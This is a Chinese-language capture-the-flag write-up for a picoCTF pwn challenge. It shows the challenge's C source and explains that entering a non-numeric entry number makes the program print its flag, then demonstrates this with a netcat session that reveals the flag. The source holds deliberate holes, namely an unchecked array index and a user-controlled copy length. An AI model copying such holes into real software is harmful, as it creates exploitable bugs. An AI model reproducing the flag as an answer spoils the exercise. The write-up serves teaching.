​

题目分析

只给了个源码.c文件：应该只是逻辑问题

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>

#define WAIT 60

// flag在全局变量里
static const char *flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;

int tgetinput(char *input, unsigned int l)
{
  fd_set input_set;
  struct timeval timeout;
  int ready_for_reading = 0;
  int read_bytes = 0;

  if (l <= 0)
  {
    printf("'l' for tgetinput must be greater than 0\n");
    return -2;
  }

  /* Empty the FD Set */
  FD_ZERO(&input_set);
  /* Listen to the input descriptor */
  FD_SET(STDIN_FILENO, &input_set);

  /* Waiting for some seconds */
  timeout.tv_sec = WAIT; // WAIT seconds
  timeout.tv_usec = 0;   // 0 milliseconds

  /* Listening for input stream for any activity */
  ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
  /* Here, first parameter is number of FDs in the set,
   * second is our FD set for reading,
   * third is the FD set in which any write activity needs to updated,
   * which is not required in this case.
   * Fourth is timeout
   */

  if (ready_for_reading == -1)
  {
    /* Some error has occured in input */
    printf("Unable to read your input\n");
    return -1;
  }

  if (ready_for_reading)
  {
    read_bytes = read(0, input, l - 1);
    if (input[read_bytes - 1] == '\n')
    {
      --read_bytes;
      input[read_bytes] = '\0';
    }
    if (read_bytes == 0)
    {
      printf("No data given.\n");
      return -4;
    }
    else
    {
      return 0;
    }
  }
  else
  {
    printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
    return -3;
  }

  return 0;
}

static void data_write()
{
  char input[100];
  char len[4];
  long length;
  int r;

  printf("Please enter your data:\n");
  r = tgetinput(input, 100); 
  // Timeout on user input
  if (r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  while (true)
  {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);  // 数据长度手动输入可控
    // Timeout on user input
    if (r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((length = strtol(len, NULL, 10)) == 0)
    {
      puts("Please put in a valid length");
    }
    else
    {
      break;
    }
  }

  if (inputs > 10)
  {
    inputs = 0;
  }

  strcpy(data[inputs], input);    // 保存数据
  input_lengths[inputs] = length; // 保存数据长度

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}

static void data_read()
{
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);

  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if (r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  if ((entry_number = strtol(entry, NULL, 10)) == 0)  // 如果不是数字，就会返回0，进入if，只要这里输入的是非数字即可
  {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]); // 数据长度可控，会复制出多的内容，导致栈溢出，溢出的目标是全局变量flag，把output覆盖成flag，没有地址泄露，不可行
  puts(output);
}

int main(int argc, char **argv)
{
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true)
  {
    r = tgetinput(input, 3);
    // Timeout on user input
    if (r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0)
    {
      puts("Please put in a valid number");
    }
    else if (command == 1)
    {
      data_write();
      puts("Write successful, would you like to do anything else?");
    }
    else if (command == 2)
    {
      if (inputs == 0)
      {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    }
    else if (command == 3)
    {
      return 0;
    }
    else
    {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

程序逻辑很奇怪，在写入数据的时候，竟然是人工输入数据长度，疑似在读取时存在栈溢出

本以为这里是要做栈溢出利用，然后发现是在读取函数里的逻辑会直接打印flag

就是在读取的时候，让你输入读取长度，这里输入个非十进制的字符即可拿到flag

漏洞利用

➜  pwn-basic-file-exploit nc saturn.picoctf.net 51109
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
123123
123123
Please enter the length of your data:
6
6
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
a
a
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}